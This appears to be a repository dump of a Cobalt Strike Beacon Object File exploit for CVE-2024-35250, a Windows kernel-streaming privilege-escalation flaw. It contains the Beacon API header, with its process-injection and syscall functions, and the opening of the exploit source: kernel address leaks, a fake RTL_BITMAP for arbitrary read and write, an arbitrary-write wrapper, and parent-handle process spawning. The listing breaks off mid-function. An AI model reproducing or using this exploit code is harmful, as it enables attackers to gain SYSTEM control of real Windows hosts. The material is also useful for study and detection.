167 | 168 | 169 | 170 | Level3 171 | true 172 | true 173 | true 174 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 175 | false 176 | stdcpp17 177 | 178 | 179 | Console 180 | true 181 | true 182 | true 183 | 184 | 185 | 186 | 187 | Level3 188 | true 189 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 190 | false 191 | stdcpp17 192 | 193 | 194 | Console 195 | true 196 | 197 | 198 | 199 | 200 | Level3 201 | true 202 | _DEBUG;_CONSOLE;_GTEST;%(PreprocessorDefinitions) 203 | false 204 | stdcpp20 205 | $(SolutionDir)packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\build\native\include;%(AdditionalIncludeDirectories) 206 | MultiThreadedDebug 207 | 208 | 209 | Console 210 | true 211 | $(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtest_maind.lib;$(SolutionDir)\packages\Microsoft.googletest.v140.windesktop.msvcstl.static.rt-static.1.8.1.7\lib\native\v140\windesktop\msvcstl\static\rt-static\$(PlatformTarget)\Debug\gtestd.lib;%(AdditionalDependencies) 212 | 213 | 214 | 215 | 216 | Level3 217 | true 218 | true 219 | true 220 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 221 | false 222 | stdcpp17 223 | 224 | 225 | Console 226 | true 227 | true 228 | true 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | * 7 | * Additional BOF resources are available here: 8 | * - https://github.com/Cobalt-Strike/bof_template 9 | * 10 | * Cobalt Strike 4.x 11 | * ChangeLog: 12 | * 1/25/2022: updated for 4.5 13 | * 7/18/2023: Added BeaconInformation API for 4.9 14 | * 7/31/2023: Added Key/Value store APIs for 4.9 15 | * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue 16 | * 8/31/2023: Added Data store APIs for 4.9 17 | * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, 18 | * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries 19 | * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 20 | * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL 21 | * Updated the BEACON_INFO data structure to add new parameters 22 | * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 23 | * 4/25/2024: Added APIs to call Beacon's system call implementation 24 | */ 25 | #ifndef _BEACON_H_ 26 | #define _BEACON_H_ 27 | #include 28 | 29 | #ifdef __cplusplus 30 | extern "C" { 31 | #endif // __cplusplus 32 | 33 | /* data API */ 34 | typedef struct { 35 | char * original; /* the original buffer [so we can free it] */ 36 | char * buffer; /* current pointer into our buffer */ 37 | int length; /* remaining length of data */ 38 | int size; /* total size of this buffer */ 39 | } datap; 40 | 41 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 42 | DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); 43 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 44 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 45 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 46 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 47 | 48 | /* format API */ 49 | typedef struct { 50 | char * original; /* the original buffer [so we can free it] */ 51 | char * buffer; /* current pointer into our buffer */ 52 | int length; /* remaining length of data */ 53 | int size; /* total size of this buffer */ 54 | } formatp; 55 | 56 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 57 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 58 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); 59 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); 60 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 61 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 62 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 63 | 64 | /* Output Functions */ 65 | #define CALLBACK_OUTPUT 0x0 66 | #define CALLBACK_OUTPUT_OEM 0x1e 67 | #define CALLBACK_OUTPUT_UTF8 0x20 68 | #define CALLBACK_ERROR 0x0d 69 | #define CALLBACK_CUSTOM 0x1000 70 | #define CALLBACK_CUSTOM_LAST 0x13ff 71 | 72 | 73 | DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); 74 | DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); 75 | 76 | 77 | /* Token Functions */ 78 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 79 | DECLSPEC_IMPORT void BeaconRevertToken(); 80 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 81 | 82 | /* Spawn+Inject Functions */ 83 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 84 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 85 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 86 | DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); 87 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 88 | 89 | /* Utility Functions */ 90 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 91 | 92 | /* Beacon Information */ 93 | /* 94 | * ptr - pointer to the base address of the allocated memory. 95 | * size - the number of bytes allocated for the ptr. 96 | */ 97 | typedef struct { 98 | char * ptr; 99 | size_t size; 100 | } HEAP_RECORD; 101 | #define MASK_SIZE 13 102 | 103 | /* Information the user can set in the USER_DATA via a UDRL */ 104 | typedef enum { 105 | PURPOSE_EMPTY, 106 | PURPOSE_GENERIC_BUFFER, 107 | PURPOSE_BEACON_MEMORY, 108 | PURPOSE_SLEEPMASK_MEMORY, 109 | PURPOSE_BOF_MEMORY, 110 | PURPOSE_USER_DEFINED_MEMORY = 1000 111 | } ALLOCATED_MEMORY_PURPOSE; 112 | 113 | typedef enum { 114 | LABEL_EMPTY, 115 | LABEL_BUFFER, 116 | LABEL_PEHEADER, 117 | LABEL_TEXT, 118 | LABEL_RDATA, 119 | LABEL_DATA, 120 | LABEL_PDATA, 121 | LABEL_RELOC, 122 | LABEL_USER_DEFINED = 1000 123 | } ALLOCATED_MEMORY_LABEL; 124 | 125 | typedef enum { 126 | METHOD_UNKNOWN, 127 | METHOD_VIRTUALALLOC, 128 | METHOD_HEAPALLOC, 129 | METHOD_MODULESTOMP, 130 | METHOD_NTMAPVIEW, 131 | METHOD_USER_DEFINED = 1000, 132 | } ALLOCATED_MEMORY_ALLOCATION_METHOD; 133 | 134 | /** 135 | * This structure allows the user to provide additional information 136 | * about the allocated heap for cleanup. It is mandatory to provide 137 | * the HeapHandle but the DestroyHeap Boolean can be used to indicate 138 | * whether the clean up code should destroy the heap or simply free the pages. 139 | * This is useful in situations where a loader allocates memory in the 140 | * processes current heap. 141 | */ 142 | typedef struct _HEAPALLOC_INFO { 143 | PVOID HeapHandle; 144 | BOOL DestroyHeap; 145 | } HEAPALLOC_INFO, *PHEAPALLOC_INFO; 146 | 147 | typedef struct _MODULESTOMP_INFO { 148 | HMODULE ModuleHandle; 149 | } MODULESTOMP_INFO, *PMODULESTOMP_INFO; 150 | 151 | typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { 152 | HEAPALLOC_INFO HeapAllocInfo; 153 | MODULESTOMP_INFO ModuleStompInfo; 154 | PVOID Custom; 155 | } ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; 156 | 157 | typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { 158 | BOOL Cleanup; 159 | ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; 160 | ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; 161 | } ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; 162 | 163 | typedef struct _ALLOCATED_MEMORY_SECTION { 164 | ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development 165 | PVOID BaseAddress; // Pointer to virtual address of section 166 | SIZE_T VirtualSize; // Virtual size of the section 167 | DWORD CurrentProtect; // Current memory protection of the section 168 | DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) 169 | BOOL MaskSection; // A boolean to indicate whether the section should be masked 170 | } ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; 171 | 172 | typedef struct _ALLOCATED_MEMORY_REGION { 173 | ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory 174 | PVOID AllocationBase; // The base address of the allocated memory block 175 | SIZE_T RegionSize; // The size of the allocated memory block 176 | DWORD Type; // The type of memory allocated 177 | ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures 178 | ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation 179 | } ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; 180 | 181 | typedef struct { 182 | ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; 183 | } ALLOCATED_MEMORY, *PALLOCATED_MEMORY; 184 | 185 | /* 186 | * version - The version of the beacon dll was added for release 4.10 187 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 188 | * e.g. 0x040900 -> CS 4.9 189 | * 0x041000 -> CS 4.10 190 | * 191 | * sleep_mask_ptr - pointer to the sleep mask base address 192 | * sleep_mask_text_size - the sleep mask text section size 193 | * sleep_mask_total_size - the sleep mask total memory size 194 | * 195 | * beacon_ptr - pointer to beacon's base address 196 | * The stage.obfuscate flag affects this value when using CS default loader. 197 | * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) 198 | * false: beacon_ptr = allocated_buffer (A valid address) 199 | * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain 200 | * when the 2nd argument is set to DLL_PROCESS_ATTACH. 201 | * heap_records - list of memory addresses on the heap beacon wants to mask. 202 | * The list is terminated by the HEAP_RECORD.ptr set to NULL. 203 | * mask - the mask that beacon randomly generated to apply 204 | * 205 | * Added in version 4.10 206 | * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA 207 | * via a UDRL. 208 | */ 209 | typedef struct { 210 | unsigned int version; 211 | char * sleep_mask_ptr; 212 | DWORD sleep_mask_text_size; 213 | DWORD sleep_mask_total_size; 214 | 215 | char * beacon_ptr; 216 | HEAP_RECORD * heap_records; 217 | char mask[MASK_SIZE]; 218 | 219 | ALLOCATED_MEMORY allocatedMemory; 220 | } BEACON_INFO, *PBEACON_INFO; 221 | 222 | DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); 223 | 224 | /* Key/Value store functions 225 | * These functions are used to associate a key to a memory address and save 226 | * that information into beacon. These memory addresses can then be 227 | * retrieved in a subsequent execution of a BOF. 228 | * 229 | * key - the key will be converted to a hash which is used to locate the 230 | * memory address. 231 | * 232 | * ptr - a memory address to save. 233 | * 234 | * Considerations: 235 | * - The contents at the memory address is not masked by beacon. 236 | * - The contents at the memory address is not released by beacon. 237 | * 238 | */ 239 | DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); 240 | DECLSPEC_IMPORT void * BeaconGetValue(const char * key); 241 | DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); 242 | 243 | /* Beacon Data Store functions 244 | * These functions are used to access items in Beacon's Data Store. 245 | * BeaconDataStoreGetItem returns NULL if the index does not exist. 246 | * 247 | * The contents are masked by default, and BOFs must unprotect the entry 248 | * before accessing the data buffer. BOFs must also protect the entry 249 | * after the data is not used anymore. 250 | * 251 | */ 252 | 253 | #define DATA_STORE_TYPE_EMPTY 0 254 | #define DATA_STORE_TYPE_GENERAL_FILE 1 255 | 256 | typedef struct { 257 | int type; 258 | DWORD64 hash; 259 | BOOL masked; 260 | char* buffer; 261 | size_t length; 262 | } DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; 263 | 264 | DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); 265 | DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); 266 | DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); 267 | DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); 268 | 269 | /* Beacon User Data functions */ 270 | DECLSPEC_IMPORT char * BeaconGetCustomUserData(); 271 | 272 | /* Beacon System call */ 273 | /* Syscalls API */ 274 | typedef struct 275 | { 276 | PVOID fnAddr; 277 | PVOID jmpAddr; 278 | DWORD sysnum; 279 | } SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; 280 | 281 | typedef struct 282 | { 283 | SYSCALL_API_ENTRY ntAllocateVirtualMemory; 284 | SYSCALL_API_ENTRY ntProtectVirtualMemory; 285 | SYSCALL_API_ENTRY ntFreeVirtualMemory; 286 | SYSCALL_API_ENTRY ntGetContextThread; 287 | SYSCALL_API_ENTRY ntSetContextThread; 288 | SYSCALL_API_ENTRY ntResumeThread; 289 | SYSCALL_API_ENTRY ntCreateThreadEx; 290 | SYSCALL_API_ENTRY ntOpenProcess; 291 | SYSCALL_API_ENTRY ntOpenThread; 292 | SYSCALL_API_ENTRY ntClose; 293 | SYSCALL_API_ENTRY ntCreateSection; 294 | SYSCALL_API_ENTRY ntMapViewOfSection; 295 | SYSCALL_API_ENTRY ntUnmapViewOfSection; 296 | SYSCALL_API_ENTRY ntQueryVirtualMemory; 297 | SYSCALL_API_ENTRY ntDuplicateObject; 298 | SYSCALL_API_ENTRY ntReadVirtualMemory; 299 | SYSCALL_API_ENTRY ntWriteVirtualMemory; 300 | SYSCALL_API_ENTRY ntReadFile; 301 | SYSCALL_API_ENTRY ntWriteFile; 302 | SYSCALL_API_ENTRY ntCreateFile; 303 | } SYSCALL_API, *PSYSCALL_API; 304 | 305 | /* Additional Run Time Library (RTL) addresses used to support system calls. 306 | * If they are not set then system calls that require them will fall back 307 | * to the Standard Windows API. 308 | * 309 | * Required to support the following system calls: 310 | * ntCreateFile 311 | */ 312 | typedef struct 313 | { 314 | PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; 315 | PVOID rtlFreeHeapAddr; 316 | PVOID rtlGetProcessHeapAddr; 317 | } RTL_API, *PRTL_API; 318 | 319 | typedef struct 320 | { 321 | PSYSCALL_API syscalls; 322 | PRTL_API rtls; 323 | } BEACON_SYSCALLS, *PBEACON_SYSCALLS; 324 | 325 | DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized); 326 | 327 | /* Beacon System call functions which will use the current system call method */ 328 | DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 329 | DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 330 | DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 331 | DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); 332 | DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 333 | DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 334 | DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); 335 | DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); 336 | DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); 337 | DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); 338 | DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); 339 | DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); 340 | DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); 341 | DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); 342 | DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); 343 | DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); 344 | 345 | 346 | 347 | /* Beacon User Data 348 | * 349 | * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch 350 | * e.g. 0x040900 -> CS 4.9 351 | * 0x041000 -> CS 4.10 352 | */ 353 | 354 | #define DLL_BEACON_USER_DATA 0x0d 355 | #define BEACON_USER_DATA_CUSTOM_SIZE 32 356 | typedef struct 357 | { 358 | unsigned int version; 359 | PSYSCALL_API syscalls; 360 | char custom[BEACON_USER_DATA_CUSTOM_SIZE]; 361 | PRTL_API rtls; 362 | PALLOCATED_MEMORY allocatedMemory; 363 | } USER_DATA, * PUSER_DATA; 364 | 365 | #ifdef __cplusplus 366 | } 367 | #endif // __cplusplus 368 | #endif // _BEACON_H_ 369 | -------------------------------------------------------------------------------- /CVE-2024-35250-BOF/CVE-2024-35250-BOF.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "base\helpers.h" 3 | 4 | /** 5 | * For the debug build we want: 6 | * a) Include the mock-up layer 7 | * b) Undefine DECLSPEC_IMPORT since the mocked Beacon API 8 | * is linked against the the debug build. 9 | */ 10 | #ifdef _DEBUG 11 | #undef DECLSPEC_IMPORT 12 | #define DECLSPEC_IMPORT 13 | #include "base\mock.h" 14 | #endif 15 | 16 | 17 | /* 18 | PoC Info 19 | -------------------------------------------------------------- 20 | Vulnerability: CVE-2024-35250 21 | Tested environment: Windows 11 22h2 Build 22621 22 | Windows 10 20h2 Build 19042 23 | VMWare Workstation 17 Pro 24 | Weakness: CWE-822: Untrusted Pointer Dereference 25 | Known limitations: Didn't work in Hyper-V environments 26 | Required privileges: Medium IL 27 | -------------------------------------------------------------- 28 | */ 29 | #define __STREAMS__ 30 | #define _INC_MMREG 31 | //#define _SE_DEBUG_PRIVILEGE 0xc1b4 32 | #define _PREVIOUS_MODE 0xbaba 33 | #include 34 | #include 35 | //#include 36 | #include 37 | //#include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include "common.h" 49 | #include 50 | #include 51 | 52 | #pragma comment(lib, "Ksproxy.lib") 53 | #pragma comment(lib, "ksuser.lib") 54 | //#pragma comment(lib, "ntdll.lib") 55 | //#pragma comment(lib, "ntdllp.lib") 56 | #pragma comment(lib, "SetupAPI.lib") 57 | #pragma comment(lib, "Advapi32.lib") 58 | #pragma comment(lib, "Shlwapi.lib") 59 | 60 | // 61 | // Get the kernel object pointer for the specific process by it's handle 62 | // 63 | 64 | extern "C" { 65 | #include "beacon.h" 66 | #include "sleepmask.h" 67 | #include "bofdefs.h" 68 | 69 | int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle) 70 | 71 | { 72 | int32_t Ret = -1; 73 | PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0; 74 | ULONG ulBytes = 0; 75 | NTSTATUS Status = STATUS_SUCCESS; 76 | 77 | // 78 | // Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH 79 | // 80 | while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L) 81 | { 82 | if (pHandleInfo != NULL) 83 | { 84 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes); 85 | } 86 | 87 | else 88 | { 89 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes); 90 | } 91 | } 92 | 93 | if (Status != NULL) 94 | { 95 | Ret = Status; 96 | goto done; 97 | } 98 | 99 | for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) 100 | { 101 | if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle)) 102 | { 103 | *ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object; 104 | Ret = 0; 105 | break; 106 | } 107 | } 108 | 109 | done: 110 | if (pHandleInfo != NULL) 111 | { 112 | HeapFree(GetProcessHeap(), 0, pHandleInfo); 113 | } 114 | return Ret; 115 | } 116 | 117 | // 118 | // ALlocate fake bitmap for arbitrary r/w operations 119 | // 120 | void* AllocateBitmap(SIZE_T size, LPVOID baseAddress) { 121 | 122 | LPVOID allocatedMemory = VirtualAlloc(baseAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 123 | 124 | if (allocatedMemory == NULL) 125 | { 126 | print_info("[-] AllocateBitmap failed with error: %d", GetLastError()); 127 | return NULL; 128 | } 129 | 130 | print_info("[+] Fake RTL_BITMAP allocated at address = %p", allocatedMemory); 131 | 132 | return allocatedMemory; 133 | } 134 | 135 | UINT_PTR GetKernelModuleAddress(const char* TargetModule) 136 | { 137 | NTSTATUS status; 138 | ULONG ulBytes = 0; 139 | PSYSTEM_MODULE_INFORMATION handleTableInfo = NULL; 140 | 141 | while ((status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, handleTableInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) 142 | { 143 | if (handleTableInfo != NULL) 144 | { 145 | handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, handleTableInfo, 2 * ulBytes); 146 | } 147 | 148 | else 149 | { 150 | handleTableInfo = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes); 151 | } 152 | } 153 | 154 | if (status == 0) 155 | { 156 | for (ULONG i = 0; i < handleTableInfo->ModulesCount; i++) 157 | { 158 | char* moduleName = StrStrA(handleTableInfo->Modules[i].Name, TargetModule); 159 | if (moduleName != NULL) 160 | { 161 | return (UINT_PTR)handleTableInfo->Modules[i].ImageBaseAddress; 162 | } 163 | } 164 | } 165 | else 166 | { 167 | if (handleTableInfo != NULL) 168 | { 169 | print_info("[-] NtQuerySystemInformation failed. (NTSTATUS code: 0x%X)", status); 170 | HeapFree(GetProcessHeap(), 0, handleTableInfo); 171 | return 0; 172 | } 173 | } 174 | 175 | HeapFree(GetProcessHeap(), 0, handleTableInfo); 176 | 177 | return 0; 178 | } 179 | 180 | DWORD64 leak_gadget_address(LPCSTR GadgetName) 181 | { 182 | DWORD64 module_base_kernel, rtlSetAllBits_address; 183 | HMODULE module_base_user; 184 | 185 | module_base_user = LoadLibraryExW(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); 186 | if (!module_base_user) 187 | goto error; 188 | 189 | rtlSetAllBits_address = (DWORD64)GetProcAddress(module_base_user, GadgetName); 190 | if (!rtlSetAllBits_address) { 191 | goto error; 192 | } 193 | module_base_kernel = GetKernelModuleAddress("ntoskrnl.exe"); 194 | rtlSetAllBits_address = module_base_kernel + (rtlSetAllBits_address - (DWORD64)module_base_user); 195 | 196 | return rtlSetAllBits_address; 197 | error: 198 | print_info("[-] leak_gadget_address failed"); 199 | return FALSE; 200 | } 201 | 202 | // 203 | // A wrapper to make arbitrary writes to the whole system memory address space 204 | // 205 | NTSTATUS Write64(void* Dst, void* Src, size_t Size) 206 | { 207 | NTSTATUS Status = 0; 208 | PULONG cbNumOfBytesWrite = 0; 209 | 210 | Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, cbNumOfBytesWrite); 211 | if (!NT_SUCCESS(Status)) 212 | { 213 | return -1; 214 | } 215 | return Status; 216 | } 217 | // 218 | // original from https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6 219 | // 220 | DWORD CreateProcessFromHandle(HANDLE Handle, LPSTR command) { 221 | STARTUPINFOEXA si; 222 | PROCESS_INFORMATION pi; 223 | SIZE_T size; 224 | BOOL ret; 225 | 226 | // Create our PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute 227 | memset(&si, 0, sizeof(STARTUPINFOEXA)); 228 | 229 | InitializeProcThreadAttributeList(NULL, 1, 0, &size); 230 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc( 231 | GetProcessHeap(), 232 | 0, 233 | size 234 | ); 235 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size); 236 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &Handle, sizeof(HANDLE), NULL, NULL); 237 | 238 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 239 | 240 | // Finally, create the process 241 | ret = CreateProcessA( 242 | NULL, 243 | command, 244 | NULL, 245 | NULL, 246 | true, 247 | EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, 248 | NULL, 249 | NULL, 250 | reinterpret_cast(&si), 251 | &pi 252 | ); 253 | 254 | if (ret == false) { 255 | print_info("CreateProcessFromHandle failed with error = ", GetLastError()); 256 | return 3; 257 | } 258 | 259 | return 0; 260 | } 261 | 262 | ULONG GetPidByName(const wchar_t* procname) { 263 | PROCESSENTRY32 entry; 264 | entry.dwSize = sizeof(PROCESSENTRY32); 265 | 266 | ULONG pid; 267 | 268 | HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 269 | 270 | if (Process32First(snapshot, &entry) == TRUE) 271 | { 272 | while (Process32Next(snapshot, &entry) == TRUE) 273 | { 274 | if (wcscmp((const wchar_t*)entry.szExeFile, procname) == 0) 275 | { 276 | pid = entry.th32ProcessID; 277 | break; 278 | } 279 | } 280 | } 281 | 282 | CloseHandle(snapshot); 283 | return pid; 284 | } 285 | 286 | // Define the Dynamic Function Resolution declaration for the GetLastError function 287 | // Map GetLastError to KERNEL32$GetLastError 288 | 289 | void go(char* args, int len) { 290 | /** 291 | * Define the Dynamic Function Resolution declaration for the GetSystemDirectoryA function 292 | * This time we use the DFR_LOCAL macro which create a local function pointer variable that 293 | * points to GetSystemDirectoryA. Therefore, we do have to map GetSystemDirectoryA to 294 | * KERNEL32$GetSystemDirectoryA 295 | */ 296 | //DFR_LOCAL(KERNEL32, GetSystemDirectoryA); 297 | //char path[MAX_PATH + 1]; 298 | 299 | //UINT bytesCopied = GetSystemDirectoryA(path, sizeof(path)); 300 | //if (bytesCopied == 0) { 301 | // print_info("Error: %i", GetLastError()); 302 | //} 303 | //else if (bytesCopied <= sizeof(path)) { 304 | // BeaconPrintf(CALLBACK_OUTPUT, "System Directory: %s", path); 305 | //} 306 | 307 | HRESULT hr; 308 | HANDLE hDrmDevice = NULL; 309 | UCHAR InBuffer[sizeof(KSPROPERTY) + sizeof(EXPLOIT_DATA2)] = { 0 }; 310 | KSPROPERTY* pInBufProperty = (KSPROPERTY*)InBuffer; 311 | EXPLOIT_DATA2* pInBufPropertyData = (EXPLOIT_DATA2*)(pInBufProperty + 1); 312 | 313 | UCHAR UnserializePropertySetRequest[sizeof(KSPROPERTY_SERIALHDR) + sizeof(KSPROPERTY_SERIAL) + sizeof(EXPLOIT_DATA1)] = { 0 }; 314 | 315 | KSPROPERTY_SERIALHDR* pSerialHdr = (KSPROPERTY_SERIALHDR*)UnserializePropertySetRequest; 316 | PKSPROPERTY_SERIAL pSerial = (KSPROPERTY_SERIAL*)(pSerialHdr + 1); 317 | EXPLOIT_DATA1* pOutBufPropertyData = (EXPLOIT_DATA1*)(pSerial + 1); 318 | 319 | BOOL res = FALSE; 320 | NTSTATUS status = 0; 321 | 322 | uint32_t Ret = 0; 323 | 324 | GUID hKSCATEGORY_DRM_DESCRAMBLE; 325 | IIDFromString(L"{FFBB6E3F-CCFE-4D84-90D9-421418B03A8E}", &hKSCATEGORY_DRM_DESCRAMBLE); 326 | const GUID categories[] = { 327 | 